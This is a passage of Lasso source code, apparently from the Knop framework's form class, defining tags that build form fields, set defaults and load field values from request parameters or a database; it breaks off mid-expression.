a physical url, while -path would be a framework path. \nFix actionpath reference so it updates properly when altering the value (not possible?)\nShould loadfields load \"-\" params?\nUnsavedwarning made optional, does not seem to work properly now?\nMore flexible error hightlighting\nMove templates to a member tag to be make it easier to subclass (Douglas Burchard)\nAdd \"button\". <button></button>. Subtypes are submit, reset and button. How to specify the subtype? (Douglas Burchard)\nChange ->addfield to ->insert and make ->addfield deprecated\nThere is no src for input type image!\nAdd ->size and ->get so the form object can be iterated\nAdd -skipemtpy to to ->renderhtml\nOption for -> renderhtml to output without html encoding\n->renderhtml should never html encode fields of type html\n\n*/\n\t\n\n\t// instance variables\n\tlocal: 'fields'=array,\n\t\t'template'=string,\t\t\t// html template used to render the html form fields\n\t\t'buttontemplate'=string,\t// html template used to render the html buttons (submit, reset, image)\n\t\t'class'=string,\t\t\t\t// default class for all form fields, can be overridden field by field\n\t\t'errorclass'=string,\t\t// class used to highlight field labels when validation fails\n\t\t'formaction'=null,\n\t\t'method'='post',\n\t\t'fieldset'=false,\t\t\t// html form fieldset\n\t\t'legend'=null,\t\t\t\t// html form legend\n\t\t'name'=null,\n\t\t'id'=null,\n\t\t'raw'=null,\n\t\t'enctype'=null,\t\t\t\t// is automatically set to multipart/formdata if the form contains a file input\n\t\t'actionpath'=null,\n\t\t'noautoparams'=false,\t\t// if true then no parameters that begin with - will be automatically added to the form\n\t\t'fieldsource'=null,\t\t\t// the source of the latest -> loadfields, can be database, form or params\n\t\t'required'=string,\t\t\t// marker used to show fields that are required (html or plain string)\n\t\t'entersubmitblock'=false,\t// if true, a javascript will prevent form submit without clicking on submit button (like pressing enter key)\n\t\t'unsavedmarker'=null,\n\t\t'unsavedmarkerclass'=null,\n\t\t'unsavedwarning'=string,\t// must be specified, or else there is no unsaved warning for the form\n\t\t'database'=null,\n\t\t'keyparamname'=string,\t\t// param name to use instead of the default -keyvalue\n\t\t'formmode'=null,\t\t\t// whether the form is for editing an existing record or a blank for for adding a new record (edit/add)\n\t\t\t\t\t\t\t\t\t// only valid if a database object is specified\n\t\t'formbutton'=null,\t\t\t// the button that was clicked when submitting a form (cancel, add, save, delete)\n\t\t'db_keyvalue'=null,\n\t\t'db_lockvalue'=null,\n\t\t\n\t\t'render_fieldset_open'=false,\t// used when rendering to keep track of if a fieldset from fieldset or legend field types is open so it can be closed properly\n\t\t'render_fieldset2_open'=false,\t// used when rendering to keep track of if a fieldset from renderform or renderhtml legend is open so it can be closed properly\n\t\t'noscript'=false,\t\t\t\t// when set to true, no scripts will be injected by renderform\n\t\t'error_lang'=(knop_lang: -default='en', -fallback);\n\t\n\tlocal: 'errors'=null;\n\n\n\t// config vars\n\tlocal: 'validfieldtypes' = (map: 'text', 'password', 'checkbox', 'radio', 'textarea', 'select', 'file', 'search',\n\t\t\t\t'submit', 'reset', 'image', 'hidden', \n\t\t\t\t'fieldset', 'legend', 'html'), // special types\n\t\t'exceptionfieldtypes' = (map: 'file', 'submit', 'reset', 'image', 'addbutton', 'savebutton', 'deletebutton', 'cancelbutton',\n\t\t\t\t'fieldset', 'legend', 'html'); // special types\n\tlocal: 'validfieldtypes_array'=array;\n\titerate: #validfieldtypes, (local: 'temp');\n\t\t#validfieldtypes_array -> (insert: #temp -> name);\n\t/iterate;\n\tlocal: 'exceptionfieldtypes_array'=array;\n\titerate: #exceptionfieldtypes, (local: 'temp');\n\t\t#exceptionfieldtypes_array -> (insert: #temp -> name);\n\t/iterate;\n\t\n\t// page var to keep track of the number of forms that have been rendered on a page\n\tif: !(var_defined: 'knop_form_renderform_counter');\n\t\tvar: 'knop_form_renderform_counter'=0;\n\t/if;\n\t\n\n\tdefine_tag: 'oncreate', -description='Parameters:\\n\\\n\t\t\t-formaction (optional) The action atribute in the form html tag\\n\\\n\t\t\t-action (optional) Deprecated synonym to -formaction\\n\\\n\t\t\t-method (optional) Defaults to post\\n\\\n\t\t\t-name (optional)\\n\\\n\t\t\t-id (optional)\\n\\\n\t\t\t-raw (optional) Anything in this parameter will be put in the opening form tag\\n\\\n\t\t\t-actionpath (optional) Knop action path\\n\\\n\t\t\t-fieldset (optional)\\n\\\n\t\t\t-legend (optional string) legend for the entire form - if specified, a fieldset will also be wrapped around the form\\n\\\n\t\t\t-entersubmitblock (optional)\\n\\\n\t\t\t-noautoparams (optional)\\n\\\n\t\t\t-template (optional string) html template, defaults to #label# #field##required#<br>\\n\\\n\t\t\t-buttontemplate (optional string) html template for buttons, defaults to #field# but uses -template if specified\\n\\\n\t\t\t-required (optional string) character(s) to display for required fields (used for #required#), defaults to *\\n\\\n\t\t\t-class (optional string) css class name that will be used for the form element, default none\\n\\\n\t\t\t-errorclass (optional string) css class name that will be used for the label to highlight input errors, if not defined style=\"color: red\" will be used\\n\\\n\t\t\t-unsavedmarker (optional string) id for html element that should be used to indicate when the form becomes dirty. \\n\\\n\t\t\t-unsavedmarkerclass (optional string) class name to use for the html element. Defaults to \"unsaved\". \\n\\\n\t\t\t-unsavedwarning (optional string)\\n\\\n\t\t\t-keyparamname (optional)\\n\\\n\t\t\t-noscript (optional flag) if specified, don\\'t inject any javascript in the form. This will disable all client side functionality such as hints, focus and unsaved warnings. \\n\\\n\t\t\t-database (optional database) Optional database object that the form object will interact with',\n\t\t// parameters for form html tag attributes\n\t\t-optional='formaction',\n\t\t-optional='action',\n\t\t-optional='method',\n\t\t-optional='name',\n\t\t-optional='id',\n\t\t-optional='raw',\n\n\t\t// knop parameters\n\t\t-optional='actionpath',\n\t\t-optional='fieldset',\n\t\t-optional='legend', \n\t\t-optional='entersubmitblock',\n\t\t-optional='noautoparams',\n\t\t-optional='template', -type='string',\n\t\t-optional='buttontemplate', -type='string',\n\t\t-optional='required', -type='string',\n\t\t-optional='class', -type='string',\n\t\t-optional='errorclass', -type='string',\n\t\t-optional='unsavedmarker', -type='string',\n\t\t-optional='unsavedmarkerclass', -type='string',\n\t\t-optional='unsavedwarning', -type='string',\n\t\t-optional='keyparamname',\n\t\t-optional='noscript',\n\t\t-optional='database', -type='database';\n\t\tlocal: 'timer'=knop_timer; \n\n\n\t\tlocal_defined('method') ? (self -> 'method') = #method;\n\t\tlocal_defined('name') ? (self -> 'name') = #name;\n\t\tlocal_defined('id') ? (self -> 'id') = #id;\n\t\tlocal_defined('raw') ? (self -> 'raw') = #raw;\n\t\tlocal_defined('legend') ? (self -> 'legend') = #legend;\n\t\tlocal_defined('template') ? (self -> 'template') = #template;\n\t\tlocal_defined('buttontemplate') ? (self -> 'buttontemplate') = #buttontemplate;\n\t\tlocal_defined('required') ? (self -> 'required') = #required;\n\t\tlocal_defined('class') ? (self -> 'class') = #class;\n\t\tlocal_defined('errorclass') ? (self -> 'errorclass') = #errorclass;\n\t\tlocal_defined('unsavedmarker') ? (self -> 'unsavedmarker') = #unsavedmarker;\n\t\tlocal_defined('unsavedmarkerclass') ? (self -> 'unsavedmarkerclass') = #unsavedmarkerclass;\n\t\tlocal_defined('unsavedwarning') ? (self -> 'unsavedwarning') = #unsavedwarning;\n\t\tlocal_defined('keyparamname') ? (self -> 'keyparamname') = #keyparamname;\n\n\t\t// the following params are stored as reference, so the values of the params can be altered after adding a field simply by changing the referenced variable. \n\t\tlocal_defined('formaction') ? (self -> 'formaction') = @#formaction;\n\t\tlocal_defined('actionpath') ? (self -> 'actionpath') = @#actionpath;\n\t\tlocal_defined('database') ? (self -> 'database') = @#database;\n\n\t\tif: !(local_defined: 'formaction') && (local_defined: 'action');\n\t\t\t// keep support for old -action insead of -formaction\n\t\t\t(self -> 'debug_trace') -> insert('*** DEPRECATION WARNING *** ' + tag_name + ' -action parameter is deprecated, use -formaction instead ');\n\t\t\t(self -> 'formaction') = @#action;\n\t\t/if;\n\t\t\n\t\t(self -> 'noscript') = (local_defined('noscript') && #noscript != false);\n\n\t\t// default value\n\t\t!(local_defined: 'required') ? (self -> 'required' = '*');\n\t\t!(local_defined: 'keyparamname') ? (self -> 'keyparamname' = '-keyvalue');\n\n\t\t(self -> 'fieldset') = ((local_defined: 'fieldset') && #fieldset != false) || (self -> 'legend') != '';\n\t\t(self -> 'entersubmitblock') = (local_defined: 'entersubmitblock');\n\t\t(self -> 'noautoparams') = (local_defined: 'noautoparams');\n\n\n\t\tif: (self -> 'unsavedmarker') != '' && (self -> 'unsavedmarkerclass') == '';\n\t\t\t// set default unsavedmarkerclass\n\t\t\t(self -> 'unsavedmarkerclass')='unsaved';\n\t\t/if;\n\n\t\tif: (self -> 'unsavedwarning') == '';\n\t\t\t// set default dirtywarning message\n\t\t\t//(self -> 'unsavedwarning')='Det finns ändringar som inte har sparats - vill du fortsätta utan att spara?';\n\t\t/if;\n\t\t\n\t\t// escape quotes for javascript\n\t\t(self -> 'unsavedwarning') -> (replace: '\\'', '\\\\\\'');\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\t/*\n\tdefine_tag: 'onassign', -description='Internal, needed to restore references when ctype is defined as prototype',\n\t\t-required='value'; \n\t\t// recreate references here\n\n\t\titerate: (array: \n\t\t\t'formaction',\n\t\t\t'actionpath',\n\t\t\t'database'), (local: 'param');\n\t\t\t(self -> #param) = @(#value -> #param);\n\t\t/iterate;\n\n\t/define_tag;\n\t*/\n\t\n\tdefine_tag: 'onconvert', -description='Outputs the form data in very basic form, just to see what it contains',\n\t\t-optional='xhtml';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');\n\n\t\tlocal: 'output'=string;\n\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\t#output += #fieldpair -> name + ' = ' + #fieldpair -> value + '    <br' + #endslash + '>\\n';\n\t\t/iterate;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #output;\n\t/define_tag;\n\t\n\tdefine_tag: '_unknowntag', -description='Shortcut to getvalue',\n\t\t-optional='index', -type='integer', -copy;\n\t\t!local_defined('index') ? local('index') = 1;\n\t\tif: (self -> 'fields') >> tag_name; // should be (self -> keys) but this is faster\n\t\t\treturn: (self -> (getvalue: tag_name, -index=#index));\n\t\telse;\n\t\t\t//fail: -9948, self -> type + '->' + tag_name + ' not known.';\n\t\t\t(self -> '_debug_trace') -> insert(self -> type + '->' + tag_name + ' not known.');\n\t\t/if;\n\t/define_tag;\n\t\n\tdefine_tag: 'addfield', -description='Inserts a form element in the form. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-type (required) Supported types are listed in form -> \\'validfieldtypes_array\\'. Also custom field types addbuton, savebutton or deletebutton are supported (translated to submit buttons with predefined names). \\\n\t\t\tFor the field types html, fieldset and legend use -value to specify the data to display for these fields. A legend field automatically creates a fieldset (closes any previously open fieldsets). Use fieldset with -value=false to close a fieldset without opening a new one. \\n\\\n\t\t\t-name (optional) Required for all input types except addbuton, savebutton, deletebutton, fieldset, legend and html\\n\\\n\t\t\t-id (optional) id for the html object, will be autogenerated if not specified\\n\\\n\t\t\t-dbfield (optional) Corresponding database field name (name is used if dbfield is not specified), or null/emtpy string if ignore this field for database\\n\\\n\t\t\t-value (optional) Initial value for the field\\n\\\n\t\t\t-hint (optional) Optional gray hint text to show in empty text field\\n\\\n            -options (optional) For select, checkbox and radio, must be array, set or series. For select, the array can contain -optgroup=label to create an optiongroup. \\n\\ \n\t\t\t-multiple (optional flag) Used for select\\n\\\n\t\t\t-linebreak (optional flag) Put linebreaks between checkbox and radio values\\n\\\n\t\t\t-default (optional) Default text to display in a popup menu, will be selected (with empty value) if no current value is set. Is followed by an empty option. \\n\\\n\t\t\t-label (optional) Text label for the field\\n\\\n\t\t\t-size (optional) Used for text and select\\n\\\n\t\t\t-maxlength (optional) Used for text\\n\\\n\t\t\t-rows (optional) Used for textarea\\n\\\n\t\t\t-cols (optional) Used for textarea\\n\\\n\t\t\t-focus (optional flag) The first text field with this parameter specified will get focus when page loads\\n\\\n\t\t\t-class (optional)\\n\\\n\t\t\t-disabled (optional flag) The form field will be rendered as disabled\\n\\\n\t\t\t-raw (optional) Raw attributes that will be put in the html tag\\n\\\n\t\t\t-confirmmessage (optional) Message to show in submit/reset confirm dialog (delete button always shows confirm dialog)\\n\\\n\t\t\t-required (optional flag) If specified then the field must not be empty (very basic validation)\\n\\\n\t\t\t-validate (optional) Compound expression to validate the field input. The input can be accessed as params inside the expression which should either return true for valid input or false for invalid, or return 0 for valid input or a non-zero error code or error message string for invalid input. \\n\\\n\t\t\t-filter (optional) Compound expression to filter the input before it is loaded into the form by ->loadfields. The field value can be accessed as params inside the expression which should return the filtered field value. -filter is applied before validation. \\n\\\n\t\t\t-nowarning (optional flag) If specified then changing the field will not trigger an unsaved warning\\n\\\n\t\t\t-after (optional) Numeric index or name of field to insert after\\n\\\n\t\t\t-template (optional) Format string that will override global template or buttontemplate',\n\t\t-required='type',\n\t\t-optional='name',\n\t\t-optional='id',\t\n\t\t-optional='dbfield',\n\t\t-optional='value',\n\t\t-optional='hint',\n\t\t-optional='options',\n\t\t-optional='multiple',\n\t\t-optional='linebreak',\n\t\t-optional='default',\n\t\t-optional='label',\n\t\t-optional='size',\n\t\t-optional='maxlength',\n\t\t-optional='rows',\n\t\t-optional='cols',\n\t\t-optional='focus',\n\t\t-optional='class',\n\t\t-optional='disabled',\n\t\t-optional='raw',\n\t\t-optional='confirmmessage',\n\t\t-optional='required',\n\t\t-optional='validate', -type='tag',\n\t\t-optional='filter', -type='tag',\n\t\t-optional='nowarning',\n\t\t-optional='after',\n\t\t-optional='template';\n\t\t// TODO: add optiontemplate to be able to format individual options\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\tlocal: '_type'=(local: 'type'), '_name'=(local: 'name'), 'originaltype'=(local: 'type');\n\t\tif: (map: 'addbutton', 'savebutton', 'deletebutton', 'cancelbutton') >> #_type;\n\t\t\t#originaltype = #_type;\n\t\t\t#_name = 'button_' + #_type;\n\t\t\t#_name -> (removetrailing: 'button');\n\t\t\t#_type = 'submit';\n\t\telse: #_type == 'reset' && (local: 'name') == '';\n\t\t\t#_name = 'button_' + #_type;\n\t\telse: (map: 'legend', 'fieldset', 'html') >> #_type && (local: 'name') == '';\n\t\t\t#_name = #_type;\n\t\telse;\n\t\t\tfail_if: (local: 'name') == '', -9956, 'form->addfield missing required parameter -name';\n\t\t/if;\n\t\t\n\t\t\n\t\tfail_if: !((self -> 'validfieldtypes') >> #_type), 7102, self -> error_msg(7202);\n\t\tfail_if: (map: 'select', 'radio', 'checkbox') >> #_type \n\t\t\t&& (local: 'options') -> type != 'array' \n\t\t\t&& (local: 'options') -> type != 'set' \n\t\t\t&& (local: 'options') -> type != 'series', \n\t\t\t-9956, 'Field type ' #_type ' requires -options array, set or series'; \n\t\tlocal: 'index'= (self -> 'fields') -> size + 1;\n\t\t(local_defined: 'after') \t? (#after -> type == 'string' && (self -> 'fields') >> #after \n\t\t\t\t\t\t\t\t\t\t? #index = (integer: ((self -> 'fields') -> (findindex: #after) -> first)) + 1\n\t\t\t\t\t\t\t\t\t\t| #after -> type == 'integer' ? #index= #after + 1);\n\t\tif: #_type == 'file';\n\t\t\t(self -> 'enctype') ='multipart/form-data';\n\t\t\t(self -> 'method') = 'post';\n\t\t/if;\n\t\tlocal: 'field'=(map: \n\t\t\t'required'=(local_defined: 'required') \t\t&& #required != false,\n\t\t\t'multiple'=(local_defined: 'multiple') \t\t&& #multiple != false,\n\t\t\t'linebreak'=(local_defined: 'linebreak') \t&& #linebreak != false,\n\t\t\t'focus'=(local_defined: 'focus') \t\t\t&& #focus != false,\n\t\t\t'nowarning'=(local_defined: 'nowarning') \t&& #nowarning != false,\n\t\t\t'disabled'=(local_defined: 'disabled') \t\t&& #disabled != false\n\t\t\t);\n\t\tif: (self -> 'exceptionfieldtypes') >> #_type;\n\t\t\t// || (map: 'legend', 'fieldset', 'html') >> #_type;\n\t\t\t// never make certain field types required\n\t\t\t#field -> insert('required'=false);\n\t\t/if;\n\n\t\t#field -> (insert: 'type'=#_type);\n\t\t#field -> (insert: 'name'=#_name);\n\n\t\tlocal_defined('id') ? #field -> insert('id' = #id);\n\t\tlocal_defined('hint') ? #field -> insert('hint' = #hint);\n\t\tlocal_defined('default') ? #field -> insert('default' = #default); \n\t\tlocal_defined('label') ? #field -> insert('label' = #label); \n\t\tlocal_defined('size') ? #field -> insert('size' = #size); \n\t\tlocal_defined('maxlength') ? #field -> insert('maxlength' = #maxlength); \n\t\tlocal_defined('rows') ? #field -> insert('rows' = #rows); \n\t\tlocal_defined('cols') ? #field -> insert('cols' = #cols); \n\t\tlocal_defined('class') ? #field -> insert('class' = #class); \n\t\tlocal_defined('raw') ? #field -> insert('raw' = #raw); \n\t\tlocal_defined('confirmmessage') ? #field -> insert('confirmmessage' = #confirmmessage);\n\t\tlocal_defined('originaltype') ? #field -> insert('originaltype' = #originaltype);\n\t\t(local_defined: 'template') ? #field -> (insert: 'template'=#template);\n\n\t\t#field -> (insert: 'dbfield'=( (local_defined: 'dbfield') ? #dbfield | #_name ) );\n\t\t(local_defined: 'value') ? #field -> (insert: 'defaultvalue'=#value);\n\t\t\n\t\t// the following params are stored as reference, so the values of the params can be altered after adding a field simply by changing the referenced variable. \n\t\tlocal_defined('options') ? #field -> insert('options' = @#options);\n\t\tlocal_defined('value') ? #field -> insert('value' = @#value);\n\t\tlocal_defined('validate') ? #field -> insert('validate' = @#validate);\n\t\tlocal_defined('filter') ? #field -> insert('filter' = @#filter);\n\t\t\n\t\t(self -> 'fields') -> (insert: #_name = @#field, #index);\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'copyfield', -description='Copies a form field to a new name.',\n\t\t-required='name',\n\t\t-required='newname';\n\t\tlocal: 'timer'=knop_timer; \n\t\tfail_if: #name == #newname, 7104, self -> error_msg(7104);\n\t\tif: (self -> 'fields') >> #name;\n\t\t\tlocal: 'copyfield'=(self -> 'fields') -> (find: #name) -> first -> value;\n\t\t\t#copyfield -> (insert: 'name' = #newname);\n\t\t\t(self -> 'fields') -> (insert: #newname = #copyfield);\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\n\tdefine_tag: 'init', -description='Initiates form to grab keyvalue and set formmode if we have a database connected to the form. \\\n\t\t\tDoes nothing if no database is specified. ',\n\t\t-optional='get',\n\t\t-optional='post',\n\t\t-optional='keyvalue';\n\t\tlocal: 'timer'=knop_timer; \n\t\t// Initiates form to grab keyvalue and set formmode if we have a database connected to the form. \n\t\t// TODO: should we run init if form is not valid? Now we have a condition in lib before running init. \n\t\t// TODO: how can we get the right formmode when showing an add form again after failed validation? Now we have an extra condition in lib for this\n\t\t\n\t\tif: (self -> 'database') -> type == 'database';\n\t\t\t(self -> 'db_keyvalue') = null;\n\t\t\t(self -> 'db_lockvalue') = null;\n\t\t\tlocal: '_params'=array,\n\t\t\t\t'source'='form',\n\t\t\t\t'field'=map;\n\t\t\t#_params = array;\n\t\t\tif: (local_defined: 'post');\n\t\t\t\t#_params -> (merge: client_postparams);\n\t\t\t/if;\n\t\t\tif: (local_defined: 'get');\n\t\t\t\t#_params -> (merge: client_getparams);\n\t\t\t/if;\n\t\t\tif: !(local_defined: 'post') && !(local_defined: 'get');\n\t\t\t\t#_params -> (merge: client_postparams);\n\t\t\t\t#_params -> (merge: client_getparams);\n\t\t\t/if;\n\t\t\t(self -> 'debug_trace') -> (insert: 'Init ');\n\t\t\n\t\t\tif: #_params >> '-lockvalue';\n\t\t\t\tif: #_params -> type == 'map';\n\t\t\t\t\t(self -> 'db_lockvalue')=((#_params -> (find: '-lockvalue' ) ) != '' \n\t\t\t\t\t\t? (#_params -> (find: '-lockvalue' ) ) | null);\n\t\t\t\telse;\n\t\t\t\t\t(self -> 'db_lockvalue')=((#_params -> (find: '-lockvalue' ) -> first -> value) != '' \n\t\t\t\t\t\t? (#_params -> (find: '-lockvalue' ) -> first -> value) | null);\n\t\t\t\t/if;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': grabbing lockvalue from form ' + (self -> 'db_lockvalue'));\n\t\t\telse: (local_defined: 'keyvalue');\n\t\t\t\t(self -> 'db_keyvalue') = #keyvalue;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': grabbing keyvalue from parameter ' + (self -> 'db_keyvalue'));\n\t\t\telse: #_params >> (self -> 'keyparamname');\n\t\t\t\tif: #_params -> type == 'map';\n\t\t\t\t\t(self -> 'db_keyvalue')=((#_params -> (find: (self -> 'keyparamname') ) ) != '' \n\t\t\t\t\t\t? (#_params -> (find: (self -> 'keyparamname') ) ) | null);\n\t\t\t\telse;\n\t\t\t\t\t(self -> 'db_keyvalue')=((#_params -> (find: (self -> 'keyparamname') ) -> first -> value) != '' \n\t\t\t\t\t\t? (#_params -> (find: (self -> 'keyparamname') ) -> first -> value) | null);\n\t\t\t\t/if;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': grabbing keyvalue from form ' + (self -> 'db_keyvalue'));\n\t\t\t/if;\n\t\t\tif: (self -> 'db_lockvalue') == '' && (self -> 'db_keyvalue') == '';\n\t\t\t\t// we have no keyvalue or lockvalue - this must be an add operation\n\t\t\t\t(self -> 'formmode') = 'add';\n\t\t\t\t// create a keyvalue for the record to add\n\t\t\t\t(self -> 'db_keyvalue') = knop_unique;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': generating keyvalue ' + (self -> 'db_keyvalue'));\n\t\t\telse: (self -> getbutton) == 'add';\n\t\t\t\t(self -> 'formmode') = 'add';\n\t\t\telse: (self -> formmode)=='';\n\t\t\t\t(self -> 'formmode') = 'edit';\n\t\t\t/if;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': formmode ' + (self -> formmode));\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\n\tdefine_tag: 'loadfields', -description='Overwrites all field values with values from either database, action_params or explicit -params. \\\n\t\t\t\tAuto-detects based on current lasso_currentaction.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t\t-params (optional) Array or map to take field values from instead of database or submit (using dbnames)\\n\\\n\t\t\t\t-get (optional flag) Only getparams will be used\\n\\\n\t\t\t\t-post (optional flag) Only postparams will be used\\n\\\n\t\t\t\t-inlinename (optional) The first record in the result from the specified inline will be used as field values\\n\\ \n\t\t\t\t-database (optional) If a database object is specified, the first record from the latest search result of the database object will be used. \\\n\t\t\t\t\tIf -database is specified as flag (no value) and the form object has a database object attached to it, that database object will be used.',\n\t\t-optional='params',\n\t\t-optional='post',\n\t\t-optional='get',\n\t\t-optional='inlinename',\n\t\t-optional='database';\n\t\tlocal: 'timer'=knop_timer; \n\t\tlocal: '_params'=array,\n\t\t\t'source'='form',\n\t\t\t'field'=map;\n\t\t(self -> 'fieldsource') = null;\n\t\tif: (local_defined: 'params');\n\t\t\t(self -> 'fieldsource') = 'params';\n\t\t\tlocal: 'source'='params';\n\t\t\t#_params = #params;\n\t\telse: (local_defined: 'database') && !(local_defined: 'inlinename');\n\t\t\tif: #database -> type == 'database';\n\t\t\t\tlocal: 'inlinename'=#database -> inlinename;\n\t\t\telse: self -> 'database' -> type == 'database';\n\t\t\t\tlocal: 'inlinename'=self -> 'database' -> inlinename;\n\t\t\t/if;\n\t\t/if;\n\t\t\t\n\t\tif: (local_defined: 'inlinename');\n\t\t\t(self -> 'fieldsource') = 'database';\n\t\t\tlocal: 'source'='params';\n\t\t\t#_params=map;\n\t\t\trecords: -inlinename=#inlinename;\n\t\t\t\tloop: (field_name: -count);\n\t\t\t\t\t#_params -> (insert: (field_name: loop_count)  =  (field: (field_name: loop_count)) );\n\t\t\t\t/loop;\n\t\t\t\tloop_abort;\n\t\t\t/records;\n\t\telse: (self -> 'fieldsource') == null && lasso_currentaction != 'nothing';\n\t\t\t(self -> 'fieldsource') = 'database';\n\t\t\tlocal: 'source'='database';\n\t\telse: (self -> 'fieldsource') == null;\n\t\t\t(self -> 'fieldsource') = 'form';\n\t\t\t#_params = array;\n\t\t\tif: (local_defined: 'post');\n\t\t\t\t#_params -> (merge: client_postparams);\n\t\t\t/if;\n\t\t\tif: (local_defined: 'get');\n\t\t\t\t#_params -> (merge: client_getparams);\n\t\t\t/if;\n\t\t\tif: !(local_defined: 'post') && !(local_defined: 'get');\n\t\t\t\t#_params -> (merge: client_postparams);\n\t\t\t\t#_params -> (merge: client_getparams);\n\t\t\t/if;\n\t\t/if;\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': loading field values from ' + (self -> 'fieldsource'));\n\t\tlocal('fieldnames_done'=map, 'fields_samename'=array, 'params_fieldname'=array);\n\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\t//#field = @(#fieldpair -> value);\n\t\t\tif: (self -> 'exceptionfieldtypes') !>> #fieldpair -> value -> (find: 'type') // do not load data for excluded form fields (maybe it should do that in some cases???)\n\t\t\t\t// && (map: 'legend', 'fieldset', 'html') !>> #fieldpair -> value -> (find: 'type')\n\t\t\t\t&& !(#fieldpair -> name -> (beginswith: '-')); // exclude field names that begin with \"-\"\n\t\t\t\tif(#fieldnames_done !>> #fieldpair -> name); // check if we are already done with this field name (for multiple fields with the same name)\n\t\t\t\t\t// find all fields with the same name\n\t\t\t\t\t#fields_samename = @((self -> 'fields') -> find(#fieldpair -> name));\n\t\t\t\t\t#params_fieldname = @(#_params -> find(#fieldpair -> name));\n\t\t\t\t\tif: #source == 'database' && found_count > 0;\n\t\t\t\t\t\t// load field values from database\n\t\t\t\t\t\tif: (#fieldpair -> value -> find: 'dbfield') != '';\n\t\t\t\t\t\t\t// first remove value to break reference\n\t\t\t\t\t\t\t(#fieldpair -> value) -> (remove: 'value');\n\t\t\t\t\t\t\t(#fieldpair -> value) -> (insert: 'value'=(field: (#fieldpair -> value -> find: 'dbfield')) );\n\t\t\t\t\t\t/if;\n\t\t\t\t\telse: #source == 'params';\n\t\t\t\t\t\t// load field values from explicit -params using dbfield names\n\t\t\t\t\t\tif: #_params >> (#fieldpair -> value -> find: 'dbfield') && (#fieldpair -> value -> find: 'dbfield') != '';\n\t\t\t\t\t\t\t// first remove value to break reference\n\t\t\t\t\t\t\t(#fieldpair -> value) -> (remove: 'value');\n\t\t\t\t\t\t\tif(#_params -> isa('map'));\n\t\t\t\t\t\t\t\t(#fieldpair -> value) -> (insert: 'value'=(#_params -> (find: (#fieldpair -> value -> find: 'dbfield') ) ) );\n\t\t\t\t\t\t\t/*else: #_params -> (find: (#fieldpair -> value -> find: 'dbfield') ) -> size > 1;\n\t\t\t\t\t\t\t\t// multiple field values\n\t\t\t\t\t\t\t\tlocal: 'valuearray'=array;\n\t\t\t\t\t\t\t\titerate: #_params -> (find:  (#fieldpair -> value -> find: 'dbfield')), (local: 'parampair');\n\t\t\t\t\t\t\t\t\t#parampair -> value != '' ? #valuearray -> (insert: #parampair -> value);\n\t\t\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\t\t\t(#fieldpair -> value) -> (insert: 'value'=#valuearray);*/\n\t\t\t\t\t\t\telse(#_params -> isa('array'));\n\t\t\t\t\t\t\t\t(#fieldpair -> value) -> (insert: 'value'=(#_params -> (find: (#fieldpair -> value -> find: 'dbfield')) -> first -> value) );\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/if;\n\t\t\t\t\telse: #source == 'form';\n\t\t\t\t\t\t// load field values from form submission\n\t\t\t\t\t\titerate(#fields_samename, local('fieldpair_samename'));\n\t\t\t\t\t\t\t// first remove value to break reference\n\t\t\t\t\t\t\t(#fieldpair_samename -> value) -> (remove: 'value');\n\t\t\t\t\t\t\tif(#params_fieldname -> size == #fields_samename -> size);\n\t\t\t\t\t\t\t\t// the number of submitted fields match the number of fields in the form\n\t\t\t\t\t\t\t\t(#fieldpair_samename -> value) -> (insert: 'value'=(#params_fieldname -> get(loop_count) -> value) );\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\tif: #params_fieldname -> size > 1;\n\t\t\t\t\t\t\t\t\t// multiple field values\n\t\t\t\t\t\t\t\t\tlocal: 'valuearray'=array;\n\t\t\t\t\t\t\t\t\titerate: #_params -> (find:  (#fieldpair -> name)), (local: 'parampair');\n\t\t\t\t\t\t\t\t\t\t#parampair -> value != '' ? #valuearray -> (insert: #parampair -> value);\n\t\t\t\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\t\t\t\t(#fieldpair_samename -> value) -> (insert: 'value'=#valuearray);\n\t\t\t\t\t\t\t\telse: #_params >> (#fieldpair -> name);\n\t\t\t\t\t\t\t\t\t(#fieldpair_samename -> value) -> (insert: 'value'=(#_params -> (find: #fieldpair_samename -> name) -> first -> value) );\n\t\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t\t(#fieldpair_samename -> value) -> (insert: 'value'='');\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/iterate;\n\t\t\t\t\t\t#fieldnames_done -> insert(#fieldpair -> name);\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t\t// apply filtering of field value (do this for all instances of the same field name, so outside of the #fieldnames_done check\n\t\t\t\tif(#fieldpair -> value -> find('filter') -> isa('tag'));\n\t\t\t\t\t(#fieldpair -> value) -> insert('value'= (#fieldpair -> value -> 